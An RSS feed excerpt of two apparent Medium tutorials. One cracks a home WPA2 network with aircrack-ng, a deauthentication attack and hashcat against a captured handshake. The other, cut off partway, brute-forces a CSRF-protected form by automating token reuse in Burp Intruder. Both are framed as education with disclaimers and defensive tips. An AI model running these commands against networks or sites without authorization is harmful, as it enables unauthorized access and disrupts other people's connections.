            <title><![CDATA[Crack the Code: A Hacker’s Guide to Hack Home Wi-Fi Network]]></title>
            <link>https://systemweakness.com/crack-the-code-a-hackers-guide-to-hack-home-wi-fi-network-c91447d8520d?source=rss-edb4f8df156a------2</link>
            <guid isPermaLink="false">https://medium.com/p/c91447d8520d</guid>
            <category><![CDATA[wi-fi-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Vishal Raj]]></dc:creator>
            <pubDate>Wed, 01 May 2024 12:01:36 GMT</pubDate>
            <atom:updated>2024-05-01T16:29:34.054Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*_Yz3T6ZWQ0fsxltUjkJfvg.jpeg" /></figure><h4>Introduction:</h4><p>In an age where connectivity is king, our reliance on home Wi-Fi networks has never been greater. From streaming our favorite shows to conducting business meetings, our digital lives are intricately woven into the fabric of these wireless networks. Yet, amidst the convenience and comfort they provide, lies a lurking threat: the vulnerability of our home Wi-Fi security.</p><p>In this digital era, where information is both currency and power, hackers are constantly seeking ways to breach our defenses and gain unauthorized access to our networks. With the right tools and techniques, they can exploit weaknesses in our Wi-Fi setups, potentially compromising our personal data and privacy.</p><p>This article aims to shed light on the often-overlooked risks associated with home Wi-Fi networks. By delving into the methods used by hackers to infiltrate these networks, we hope to empower users with the knowledge needed to fortify their defenses and protect against potential threats.</p><p>Join us as we embark on a journey into the world of Wi-Fi hacking, where we’ll explore the tools, techniques, and vulnerabilities that hackers exploit to gain access to your home network. From brute-force attacks to dictionary attacks, we’ll uncover the strategies used by cybercriminals to crack Wi-Fi passwords and infiltrate your digital domain.</p><p>But fear not, for armed with the right information and proactive measures, you can safeguard your home Wi-Fi network against even the most determined adversaries. So, let’s dive in and unravel the mysteries of home Wi-Fi security, one byte at a time.</p><h4>Disclaimer:</h4><p>The techniques demonstrated in this article are for educational purposes only. Any attempt to access a Wi-Fi network without proper authorization is illegal and unethical. It is important to respect the privacy and security of others’ networks and to only use these methods on networks for which you have explicit permission to do so. The author and publisher do not condone or support any illegal activities related to Wi-Fi hacking. Readers are encouraged to use this information responsibly and in accordance with applicable laws and regulations.</p><p><strong>Now, Before Delving into Wi-Fi Hacking, Let’s Briefly Discuss Wi-Fi Technology:</strong></p><p>Wi-Fi, short for “Wireless Fidelity,” is a technology that allows devices to connect to the internet and communicate wirelessly within a local area network (LAN). It enables users to access the internet, transfer data, and communicate with other devices without the need for physical wired connections.</p><h4><strong>Wi-Fi Technology:</strong></h4><p>Wi-Fi operates using radio frequency (RF) signals to transmit data between devices. These signals are transmitted over specific channels within the unlicensed radio bands, typically 2.4 GHz and 5 GHz frequency bands.</p><p>The technology behind Wi-Fi involves several key components:</p><ul><li><strong>Wireless Access Points (APs):</strong> These are devices that transmit and receive Wi-Fi signals, serving as the connection point between wireless devices and the wired network.</li><li><strong>Wireless Network Interface Cards (NICs):</strong> These are the components within devices (such as smartphones, laptops, and tablets) that enable them to connect to Wi-Fi networks.</li><li><strong>Wi-Fi Standards:</strong> Wi-Fi technology is governed by standards set by the Institute of Electrical and Electronics Engineers (IEEE). These standards define the specifications for wireless communication, including data transfer rates, frequency bands, and security protocols. Common Wi-Fi standards include 802.11a, 802.11b, 802.11g, 802.11n, 802.11ac, and 802.11ax (Wi-Fi 6).</li></ul><p><strong>Encryption and Security Protocols:</strong> Wi-Fi networks employ various encryption and security protocols to protect data transmission and prevent unauthorized access. These include protocols like WEP (Wired Equivalent Privacy), WPA (Wi-Fi Protected Access), and WPA2/WPA3, which use encryption algorithms to secure data over the network. Now, let’s briefly describe these security protocol one by one.</p><ul><li><strong>WEP (Wired Equivalent Privacy):</strong> WEP was the original encryption protocol for Wi-Fi networks. However, it is now considered insecure due to vulnerabilities that can be exploited by attackers to decrypt encrypted data.</li><li><strong>WPA (Wi-Fi Protected Access):</strong> WPA was introduced as a replacement for WEP and provided stronger security features. It uses TKIP (Temporal Key Integrity Protocol) encryption to dynamically generate encryption keys for each data packet, enhancing security compared to WEP.</li><li><strong>WPA2 (Wi-Fi Protected Access 2):</strong> WPA2 is the current standard for Wi-Fi encryption and is widely used to secure wireless networks. It offers stronger security than WPA by using the AES (Advanced Encryption Standard) encryption algorithm, which is considered more robust and secure.</li><li><strong>WPA3 (Wi-Fi Protected Access 3):</strong> WPA3 is the latest iteration of Wi-Fi security protocols, designed to address vulnerabilities and enhance security further. It introduces features such as stronger encryption, protection against brute-force attacks, and simplified setup for IoT devices</li></ul><h4>What is 4-way handshake:</h4><p>The 4-way handshake is a critical aspect of the WPA and WPA2 security protocols utilized in Wi-Fi networks. It is responsible for securely establishing a connection between a client device (such as a laptop or smartphone) and an access point (AP), while also deriving a unique encryption key known as the Pairwise Transient Key (PTK) to secure data transmission between them. The PTK is unique between a Supplicant (client device) and access point. To generate the PTK, both the client device and the access point require the following information:</p><p><strong>PTK = PRF(PMK + Anonce + SNonce + BSSID(AA) + BSSID(SA)</strong></p><p>Where:</p><ul><li>PRF stands for Pseudo Random Function</li><li>PMK represents the Pairwise Master Key (In WPA2 PSK, the PMK is identical to the Pre-Shared Key)</li><li>Anonce is the random number generated by the access point</li><li>SNonce is the random number generated by the client device</li><li>BSSID(AA) and BSSID(SA) are the MAC addresses of the access point and the client device, respectively</li></ul><p>To generate the PMK, both the client device and the access point require the following information:</p><p><strong>PMK=PBKDF2_SHA1(Wi−Fi_password(passphrase)+AP_SSID,Length of SSID+4096 iterations of SHA1)</strong></p><p>Where: PBKDF2_SHA1 is the hash function</p><p>The 4-way handshake process is as follows:</p><ul><li><strong>Message1</strong>: AP send EAPOL message with Anonce to the client device to generate PTK. Thus, client device generate Snonce and create the PTK.</li><li><strong>Message2</strong>: Once the Client device created its PTK it sends EAPOL message out with Snonce which is used by AP to generate PTK as well. This message is sent with the MIC (message integrity check) to make sure when the access point can verify whether this message corrupted or modified. Once SNonce received by the AP it can generate PTK as well for unicast traffic encryption.</li><li><strong>Message3:</strong> EAPOL message3 is sent from AP to client device containing GTK. AP creates GTK without the involvement of the client from GMK (For broadcast and multicast communication).</li><li><strong>Message4:</strong> Fourth and last EPOL message will be sent from the client to AP just to confirm that Keys have been installed.</li></ul><figure><img alt="src:- https://www.wifi-professionals.com" src="https://cdn-images-1.medium.com/max/728/1*qAjrCIlvY9bl1W4czHs8Bg.png" /><figcaption>Fig:1.0 <strong>Wi-Fi 4-way handshake</strong></figcaption></figure><p>Once the attacker captures the 4-way handshake packets, they can extract the required information, such as the nonces and MAC addresses of the client and access point. With the captured handshake packets and necessary information, the attacker can then use offline dictionary or brute-force attacks to attempt to derive the Wi-Fi password.</p><h4>Weaponization: Leveraging Wi-Fi Adapters and Tools</h4><p>In the realm of Wi-Fi hacking, specialized hardware and software tools play a pivotal role in the exploitation of network vulnerabilities. Weaponizing Wi-Fi attacks involves the strategic use of tools and techniques to penetrate and compromise target networks. One indispensable tool in the arsenal of a Wi-Fi hacker is a Wi-Fi adapter capable of monitor mode, which enables the capture of wireless traffic on a particular channel without associating with any access point.</p><p><strong>Using Alfa Atheros AR9271 Wi-Fi Adapter:</strong></p><p>The Alfa Atheros AR9271 Wi-Fi adapter is a popular choice among penetration testers and hackers due to its excellent compatibility with monitor mode and packet injection capabilities. With monitor mode enabled, this adapter can capture wireless traffic, including the 4-way handshake exchanged during Wi-Fi authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*8S4INz58IY7USTH_kqdEyA.png" /><figcaption>Fig:2.0<strong> Alfa Atheros AR9271</strong></figcaption></figure><p><strong>Required Tools:</strong></p><ul><li><a href="http://www.aircrack-ng.org/"><strong>Aircrack-ng</strong></a><strong>:</strong> Aircrack-ng is a suite of tools for auditing wireless networks. It includes tools for capturing packets, performing brute-force attacks, and analyzing Wi-Fi security.</li><li><a href="http://hashcat.net/"><strong>Hashcat</strong></a><strong> v6.2.1:</strong> Hashcat is a powerful password recovery tool that supports various hashing algorithms. It is commonly used for cracking password hashes obtained from captured handshake packets.</li><li><a href="https://sourceforge.net/projects/net-tools/"><strong>Net-tools</strong></a><strong>:</strong> Net-tools is a collection of essential networking utilities for Linux, including tools for managing network interfaces and monitoring network traffic.</li><li><a href="https://kali.org/"><strong>Kali Linux</strong></a><strong>: </strong>A Debian-based Linux distribution specifically designed for penetration testing and ethical hacking, equipped with a wide range of security tools. <strong>Note</strong>: All three tools (Aircrack-ng, Hashcat and Net-Tool) are come pre installed with Kali Linux.</li></ul><h4><strong>Capturing the 4-Way Handshake: Practical Demonstration</strong></h4><p><strong>Now, Start your hacking machine (Kali) and plug in the Wi-Fi adapter. Alfa drivers are pre-installed in Kali, so the adapter should be recognized automatically.</strong></p><ol><li><strong>Check Wi-Fi Adapter Detection:</strong> Before proceeding, it’s essential to verify that Kali Linux detects the Wi-Fi adapter correctly. You can use the following command to list available network interfaces and check if your Wi-Fi adapter is recognized:</li></ol><pre>iwconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-c7EA4C9KRpzUIJoFWi7UQ.png" /><figcaption>Fig:3.0</figcaption></figure><p>Ensure that your Wi-Fi adapter is listed as one of the network interfaces (e.g., wlan0, wlan1).</p><p>2. <strong>Stop Interfering Services:</strong> It is recommended to shut down services that might interfere with <em>air</em>crack-ng execution. Use the following commands to stop and disable them:</p><pre>sudo systemctl stop NetworkManager<br>sudo systemctl stop wpa_supplicant</pre><p>3. <strong>Enable Monitor Mode:</strong> Open a terminal window in Kali and use the following command to enable monitor mode on the Wi-Fi adapter:</p><pre>sudo airmon-ng start wlan0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V6qc8-hqsx_cwdIFCzZvXA.png" /><figcaption>Fig:3.1</figcaption></figure><p>4. <strong>Identify Target Network:</strong> Use the following command to scan for nearby Wi-Fi networks and identify the target network’s BSSID (MAC address) and channel:</p><pre>sudo airodump-ng wlan0mon</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XYfrb0P862KNiYu6UfWxow.png" /><figcaption>Fig:3.2</figcaption></figure><p>Here, we’re focusing on the Loopback AP, which I own, granting myself permission to conduct security testing and attempt to exploit it. Our target AP is operating on channel 2.</p><p><strong>5. Capture Handshake:</strong> Once you’ve identified the target network, channel and BSSID of target network now we can start capturing the handshake. Use the following command to capture the 4-way handshake packets:</p><pre>sudo airodump-ng -c [channel] --bssid [AP BSSID] -w capturefile wlan0mon<br>#Replace [channel] with channel id and [AP BSSID] with MAC Address of Access Point</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1qeslWOHYKJFpfvLHYXoTg.png" /><figcaption>Fig:3.3</figcaption></figure><p>Now, we play the waiting game, a classic favorite among hackers and network security enthusiasts alike. Keep the terminal open and monitor for any “WPA handshake” notifications. This indicates a successful handshake capture.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F13052487&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fmr-bean-waiting-still-waiting-gif-13052487&amp;image=https%3A%2F%2Fmedia.tenor.com%2Frec5dlPBK2cAAAAF%2Fmr-bean-waiting.png&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/d65674f26185b9d6b62abe7ee87ea934/href">https://medium.com/media/d65674f26185b9d6b62abe7ee87ea934/href</a></iframe><p>Ah, but why wait for fate to intervene when we have the <a href="https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack"><em>de-authentication attack</em></a> up our sleeves? With a simple command, we can kick-out a client off the access point, prompting them to reconnect and trigger that coveted “WPA handshake.” It’s like giving the network a little nudge in the right direction, ensuring we get what we need without all the waiting around. So, let’s skip the waiting game and make things happen with a well-timed de-authentication attack.</p><p>6. <strong>Perform De-authentication Attack:</strong> To perform a de-authentication attack, use the following command.</p><pre>sudo aireplay-ng --deauth 5 -a [AP BSSID] -c [S BSSID] wlan0mon</pre><p>Replace [AP BSSID] with the BSSID (MAC Address) of the target access point. And, [S BSSID]with the BSSID of the Client Device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IYprcToHPem3zR5_jDUj_w.png" /><figcaption>Fig:3.4</figcaption></figure><p>7.<strong> Stop Capture:</strong> Once the handshake is captured (Fig:3.5), terminate the capture process by pressing Ctrl + C in the terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fd8JRI9qK1LEtODE2gtnoQ.png" /><figcaption>Fig:3.5</figcaption></figure><p>8. <strong>Verify Handshake Capture:</strong> Verify that the handshake has been successfully captured by checking the capture file generated during the capture process (Loopback_handshake.pcap-0.cap).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yu6GzXU9gleUs1AEJpYniw.png" /><figcaption>Fig:3.6</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4kSqL4PPkbtcOOSxwW52YA.png" /><figcaption>Fig:3.7</figcaption></figure><h4>Cracking the Wi-Fi Password with Hashcat: Unveiling the Key to Access</h4><p>After capturing the handshake file, the next step is to use a tool like Hashcat/JohntheRipper to attempt to crack the Wi-Fi password.</p><ol><li><strong>Prepare the Handshake File: </strong>Before using Hashcat, we need to convert the captured handshake file (capturefile.cap) which is a PCAP file to the hccapx/hccap format (Fig:4.1). Upload the .cap file to <a href="https://www.onlinehashcrack.com/tools-cap-to-hccapx-converter.php">onlinehashcrack website </a>and convert it into .hccapx formate</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MxA0aZ3uX56puVkKMro5bg.png" /><figcaption>Fig:4.1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Q4axwkSk06Ch9buyGzpfw.png" /><figcaption>Fig:4.2</figcaption></figure><p>2. <strong>Prepare Wordlist: </strong>We’ll need a wordlist containing potential passwords to use in the brute-force attack. For this demonstration, I’ll be using rockyou.txt, a very popular wordlist that contains a vast collection of common passwords and phrases. We can find rockyou.txt inside /usr/share/wordlistdirectory in our kali Linux. If you don&#39;t have rockyou.txt, you can download it from various sources online.</p><p>3. <strong>Run Bruteforce with Hashcat( Host OS)</strong>:As we want to leverage our host OS(which can be Windows, Linux or Mac OS) to utilize the graphics card for faster processing, we’ll transfer the capture file and wordlist to our Host system. After ensuring we have the necessary Hashcat setup, we’ll execute the following command in terminal:</p><pre> .\hashcat.exe -d 1 -m 2500 [capturefile.hccapk] rockyou.txt</pre><p>Replace [capturefile.hccapk] your handshake file.</p><ul><li>The -d option specifies the device or devices to be used for the cracking process. In this case, -d 1 is used to specify device number 1. Hashcat supports multiple devices such as CPUs, GPUs, and FPGAs. Device numbering starts from 1 for GPUs.</li><li>The -m option specifies the hash mode to be used for the cracking process. Each type of hash or encryption has its own unique identifier. In this case, -m 2500 specifies the hash mode for WPA/WPA2 (handshake captures).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*Esf4t32KiNQ1C5Zq7WefuQ.png" /><figcaption>Fig:4.3</figcaption></figure><p>As depicted in the Fig:4.3, we’ve successfully cracked the target Wi-Fi password using Hashcat. you can also use --showoption to get cracked Wi-Fi password. Now, let’s verify the accuracy of the cracked password by attempting to connect to the network. This verification step ensures that the password obtained through the cracking process is indeed correct and grants us access to the Wi-Fi network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*rcpG1iJ9Tz9QxzTFbb-u6g.png" /><figcaption>Fig:4.4</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7tPiy_-LZU0lq6tczh9CzQ.png" /><figcaption>Fig:4.5</figcaption></figure><p>Indeed, our efforts have proven fruitful as we have successfully established a connection to the target Wi-Fi network. This successful connection validates the accuracy of the cracked password obtained through our earlier efforts. We can now proceed to utilize the Wi-Fi network for our intended purposes, confident in the knowledge that our access is legitimate.</p><h4>5. Protecting Our Home Wi-Fi Network: Best Practices</h4><p>Now that we understand how attackers can exploit techniques to breach Wi-Fi networks, it&#39;s crucial to explore essential best practices for safeguarding our home Wi-Fi network against potential security threats and unauthorized access.</p><p><strong>1. Use Strong, Unique Passwords: </strong>Ensure that your Wi-Fi network is secured with a robust passphrase consisting of a combination of uppercase and lowercase letters, numbers, and special characters.</p><p><strong>2. Enable Network Encryption: </strong>Utilize the latest encryption standards, such as WPA3 (Wi-Fi Protected Access 3), to encrypt data transmitted over Wi-Fi network.</p><p><strong>3. Update Router Firmware Regularly:</strong> Keep your router’s firmware up to date by installing the latest updates and patches released by the manufacturer.</p><p><strong>4. Change Default Router Settings:</strong> Modify default settings on router, including the default administrator username and password. Use strong, unique credentials for accessing the router’s administrative interface to prevent unauthorized access and configuration changes.</p><p><strong>5. Implement Guest Network:</strong> Set up a separate guest network for visitors to connect to, isolating guest devices from your primary network. This helps prevent unauthorized access to sensitive data and resources shared within your home network.</p><p><strong>6. Disable WPS (Wi-Fi Protected Setup):</strong> Disable WPS functionality on your router, as it can be susceptible to brute-force attacks and compromise network security. Instead, rely on stronger authentication methods such as WPA2 or WPA3.</p><p>By adhering to these best practices, we can significantly enhance the security of our home Wi-Fi network and mitigate the risk of unauthorized access and security breaches.</p><h4><strong>Conclusion</strong></h4><p>In conclusion, safeguarding our home Wi-Fi network is crucial for protecting our privacy and data security. By implementing strong passwords, enabling encryption, updating firmware, and practicing other recommended security measures, we can mitigate the risk of unauthorized access and cyber threats. Taking proactive steps to secure our network ensures a safer and more reliable online experience for ourselves and our families.</p><p>Thank you for taking the time to prioritize the security of your home Wi-Fi network. Your commitment to implementing best practices helps create a safer digital environment for everyone.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c91447d8520d" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/crack-the-code-a-hackers-guide-to-hack-home-wi-fi-network-c91447d8520d">Crack the Code: A Hacker’s Guide to Hack Home Wi-Fi Network</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cracking the Code: Advanced CSRF Token Validation and Brute-force attack with BurpSuite’s Intruder]]></title>
            <link>https://systemweakness.com/cracking-the-code-advanced-csrf-token-validation-and-brute-force-attack-with-burpsuites-intruder-3a47226b097d?source=rss-edb4f8df156a------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a47226b097d</guid>
            <dc:creator><![CDATA[Vishal Raj]]></dc:creator>
            <pubDate>Wed, 10 Apr 2024 06:00:13 GMT</pubDate>
            <atom:updated>2024-04-10T08:48:46.548Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*2IOpaTu9BwdTO1rJUNtJRA.jpeg" /></figure><h3>Introduction:</h3><p>In the ever-evolving landscape of cybersecurity, web applications stand as both the gateway to boundless information and the frontline of defense against malicious attacks. Among the myriad threats facing these applications, Cross-Site Request Forgery (CSRF) remains a persistent and insidious vulnerability, allowing attackers to exploit the trust between a user and a web application to perform unauthorized actions.</p><p>In response to this threat, developers have implemented CSRF protection mechanisms, chief among them the CSRF token. This token serves as a unique identifier, ensuring that each request originates from a legitimate source and not from a malicious actor. However, as attackers continually adapt their techniques, it becomes imperative for cybersecurity professionals to stay ahead of the curve.</p><p>In this article, we delve into the realm of CSRF protection, focusing specifically on the validation of CSRF tokens using BurpSuite’s Intruder tool. By leveraging <em>session handling rules</em> and <em>advanced payload sets</em>, we will explore techniques to effectively validate CSRF tokens in the face of increasingly sophisticated attacks. Through practical examples and step-by-step guidance, readers will gain a deeper understanding of CSRF protection and arm themselves with the knowledge to fortify their web applications against CSRF exploits.</p><h3>Disclaimer:</h3><p>The information in this article is provided for educational purposes only. The techniques and tools discussed are intended for authorized use only. The authors and publisher of this article are not responsible for any misuse or illegal activities that result from the use of these techniques and tools. We do not condone illegal activities and encourage readers to use these techniques and tools in an ethical and legal manner</p><h4>Understanding CSRF Tokens and Their Importance in Web Security</h4><p>Cross-Site Request Forgery (CSRF) is a type of malicious exploit where unauthorized commands are transmitted from a user that the web application trusts. These attacks occur when an attacker tricks a user’s browser into executing unwanted actions on a web application to which the user is authenticated. Such actions can include changing the user’s password, transferring funds, or making unwanted purchases.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iuYys1tnRAw_Ox4go48y4g.png" /><figcaption>Fig2.1 CSRF</figcaption></figure><p>To mitigate CSRF attacks, web applications often utilize CSRF tokens. These tokens are unique, random values generated by the server and embedded within each form or request sent to the client. When a user submits a request, the CSRF token is also submitted, and the server verifies its authenticity. If the token is missing or incorrect, the request is rejected, thereby preventing unauthorized actions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*O5BFRPdS2cnk7VHWnxhgrw.jpeg" /><figcaption>Fig2.2 CSRF Token</figcaption></figure><p>The importance of CSRF tokens in web security cannot be overstated. They serve as a crucial defense mechanism against CSRF attacks by ensuring that only requests originating from the legitimate user session are processed. Without proper CSRF protection, attackers can exploit vulnerabilities to manipulate user actions, leading to severe consequences such as data breaches, financial losses, and reputational damage.</p><p>In the context of web application testing and security assessments, understanding CSRF tokens is essential for accurately assessing the resilience of an application against CSRF attacks. By incorporating CSRF token validation into penetration testing methodologies, security professionals can identify and remediate vulnerabilities before they are exploited by malicious actors.</p><h4>Exploring BurpSuite: A Comprehensive Overview</h4><p>I know most of us are familiar with BurpSuite, but I want to give a brief introduction about BurpSuite for those who might be new to this powerful tool.</p><p>BurpSuite is a leading web application security testing tool developed by PortSwigger Security. It is widely recognized for its comprehensive suite of features designed to assist security professionals in identifying vulnerabilities, testing web applications, and ensuring their resilience against cyber threats.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pDJpzIqlB4f3pUx2wsmvfw.jpeg" /><figcaption>Fig3.1 BurpSuite</figcaption></figure><p>At its core, BurpSuite functions as a proxy server that sits between the user’s browser and the target web application, allowing for the interception and manipulation of HTTP/S requests and responses. This interception capability enables security analysts to conduct various types of assessments, including vulnerability scanning, penetration testing, and security auditing.</p><p>Key features of BurpSuite include:</p><p>1. Proxy: BurpSuite’s proxy tool facilitates the interception and modification of HTTP/S traffic between the user’s browser and the web application.</p><p>2. Scanner: BurpSuite includes an automated scanner capable of identifying common web application vulnerabilities such as SQL injection, cross-site scripting (XSS), and insecure direct object references (IDOR).</p><p>3. Repeater: The repeater tool allows security analysts to manually manipulate and resend individual HTTP/S requests, enabling detailed testing and analysis of specific functionalities or vulnerabilities within the application.</p><p>4. Intruder: BurpSuite’s intruder tool is designed for performing advanced attacks such as brute-force attacks, fuzzing, and payload manipulation.</p><p>5. Extensibility: BurpSuite supports extensibility through its robust API, allowing security professionals to develop custom extensions and integrations to enhance its functionality and automate repetitive tasks.</p><p>Overall, BurpSuite is a versatile and powerful tool that plays a crucial role in the arsenal of cybersecurity professionals. Its intuitive interface, comprehensive features, and extensibility make it a preferred choice for conducting web application security assessments.</p><h4>Setting Up BurpSuit:</h4><p>Before conducting brute-force attack testing with BurpSuite, it’s essential to ensure that the tool is properly configured and set up to facilitate the testing process effectively. Follow these steps to configure BurpSuite for conducting brute-force attack testing:</p><p>1.<strong> Install BurpSuite</strong>: Download and install BurpSuite from the official PortSwigger website (<a href="https://portswigger.net/burp">https://portswigger.net/burp</a>). BurpSuite is available in both free and paid versions. For the purposes of this guide, we will focus on the free version, BurpSuite Community Edition.</p><p>2. <strong>Configure Browser Proxy Settings</strong>: Configure your web browser to use BurpSuite as a proxy server. By default, BurpSuite listens on port 8080 for HTTP traffic and port 8443 for HTTPS traffic. Adjust your browser’s proxy settings to point to these ports on localhost (127.0.0.1).</p><p>3. <strong>Certificate Installation</strong> (Optional): If you plan to intercept HTTPS traffic, install BurpSuite’s CA certificate in your browser to avoid certificate warnings. You can find the CA certificate under the “Proxy” tab in BurpSuite’s options.</p><p>4. <strong>Start BurpSuite</strong>: Launch BurpSuite and ensure that it is running correctly. We should see the Proxy “Intercept” tab and the “Target” tab in the main interface. Turn Interception off for now.</p><p>Now, let’s consider our attack scenario: we have a web application where we need to perform a brute-force attack on a form with values ranging from 1 to 50 to find the flag using BurpSuite.</p><p>However, it’s crucial to note that the web application is safeguarded with a CSRF token. This means that each request sent to the server must include a valid CSRF token to be accepted. Without this token, our requests will be rejected, thwarting our brute-force efforts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*I1NgSjeIjf6QQElX1Q0b2Q.png" /><figcaption>Fig 4.1 Targeted Web Application</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6pjURK3R7HgaD7nmekummQ.png" /><figcaption>Fig 4.2 Web App Request and Response</figcaption></figure><p>However, we cannot use Intruder or Repeater to perform the brute-force attack in this scenario because both Intruder and Repeater does not support the automatic handling of CSRF tokens. Since the web application is safeguarded with a CSRF token, any request sent without a valid CSRF token will be rejected by the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NwLK7aORNvPWKXRkpBkE-A.png" /><figcaption>Fig 4.3 Invalid CSRF Token</figcaption></figure><p>Now let’s send this request to the Intruder and start brute-force without any CSRF validation implementation to check the result. This will help us understand the baseline behavior and response of the target web application when subjected to brute-force attacks without considering CSRF protection.</p><h4>Send the request from Proxy HTTP history to Intruder:</h4><p>Navigate to the “Proxy” tab in BurpSuite and select the “HTTP history” sub-tab. Locate the request corresponding to the form submission we want to brute-force. Then, Right-click on the request and select “Send to Intruder” from the context menu..</p><p>i. <strong>Configure Brute-Force Attack Settings</strong>: Within BurpSuite, navigate to the “Intruder” tab and set up the attack parameters. Customize payload options, such as payload type Numbers and sets (Numbers from 1 to 50).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aTUaJ0O6EUxJLGkNe2y3Lw.png" /><figcaption>Fig 4.4</figcaption></figure><p>ii. <strong>Define Attack Positions</strong>: In the “Positions” tab of the Intruder tool, specify where payloads should be injected within the request. For a brute-force attack, these positions typically correspond to input fields such as username and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nfeaziXbFowwauF_fdouyA.png" /><figcaption>Fig 4.5</figcaption></figure><p>iii. <strong>Grep-Match: </strong>Use Grep-Match to flag the result items containing specific expressions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bhvdV1h0xJWhDG3pYKWNhg.png" /><figcaption>Fig 4.6</figcaption></figure><p>iv.<strong> Start the Attack</strong>: Once all settings are configured, initiate the brute-force attack by clicking the “Start attack” button in the Intruder tab. BurpSuite will begin sending payloads to the target URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bjySyCPbZ8lzS53BcWMgng.png" /><figcaption>Fig 4.7</figcaption></figure><p>As evident from each response, the CSRF token is consistently flagged as invalid because Intruder persists in employing the same CSRF token across all requests. This clearly demonstrates the web application’s robust CSRF protection mechanism, effectively thwarting the brute-force attack by detecting and rejecting requests with erroneous CSRF tokens. This emphasizes the criticality of meticulous CSRF token validation in fortifying web applications against unauthorized infiltration and exploitation.</p><p>Now, let’s delve into how we can implement CSRF token validation in BurpSuit.</p><h4><strong>1. CSRF Token Validation in BurpSuite: Payload Set Techniques (Recursive Grep)</strong></h4><p>In the “Payload Positions” tab of the Intruder tool, specify where payloads should be injected within the request(items, csrf_token) and Select attack type pitchfork.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DfeuMGYURBLnG3eDjZxW1w.png" /><figcaption>Fig 5.1</figcaption></figure><p><strong>Use grep Extract to Specify CSRF Token</strong>: Utilize BurpSuite’s “grep extract” feature to automatically identify and extract CSRF tokens from responses. This ensures that the payload sets contain valid CSRF tokens obtained from legitimate sessions, enhancing the accuracy of the validation process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h473mY2I8JUUexaexBIDHg.png" /><figcaption>Fig 5.2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*9jSvwIqARJOH4HDF88dfOQ.png" /><figcaption>Fig 5.3</figcaption></figure><p>3. <strong>Select Payload Sets</strong>: In BurpSuite’s Intruder tool, choose the “Payloads” tab and select the “Payload set” option. Define two payload sets:</p><ul><li>The first payload set is for the “items” parameter, with the payload type set to “numbers” ranging from 1 to 50.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qQxVfkLe-E5_iRp-5nr4KA.png" /><figcaption>Fig 5.4</figcaption></figure><ul><li>The second payload set is for the CSRF token, utilizing the recursive grep feature to extract valid tokens from responses. Set the Initial payload for first request to “NULL”.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FGVBVtTMnyOdRhxE5BtYJw.png" /><figcaption>Fig 5.5</figcaption></figure><p><strong>4. Set Maximum Concurrent Requests</strong>: In the Resource Pool section of BurpSuite, set the “Maximum Concurrent Requests (Threshold)” to 1. This ensures that only one request is processed at a time, preventing potential issues with concurrency during the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KYTqeTFFI7Z_rvVGOPVCiA.png" /><figcaption>Fig 5.6</figcaption></figure><p>5. <strong>Add Grep-Match</strong>: In the Intruder’s Settings tab, after configuring payload sets, add a Grep-Match option. This option enables us to match the flag result item containing specified responses. Specify the responses that we are interested in, such as error messages or success indicators, to accurately identify successful or failed CSRF token validations during the attack.</p><figure><img alt="" 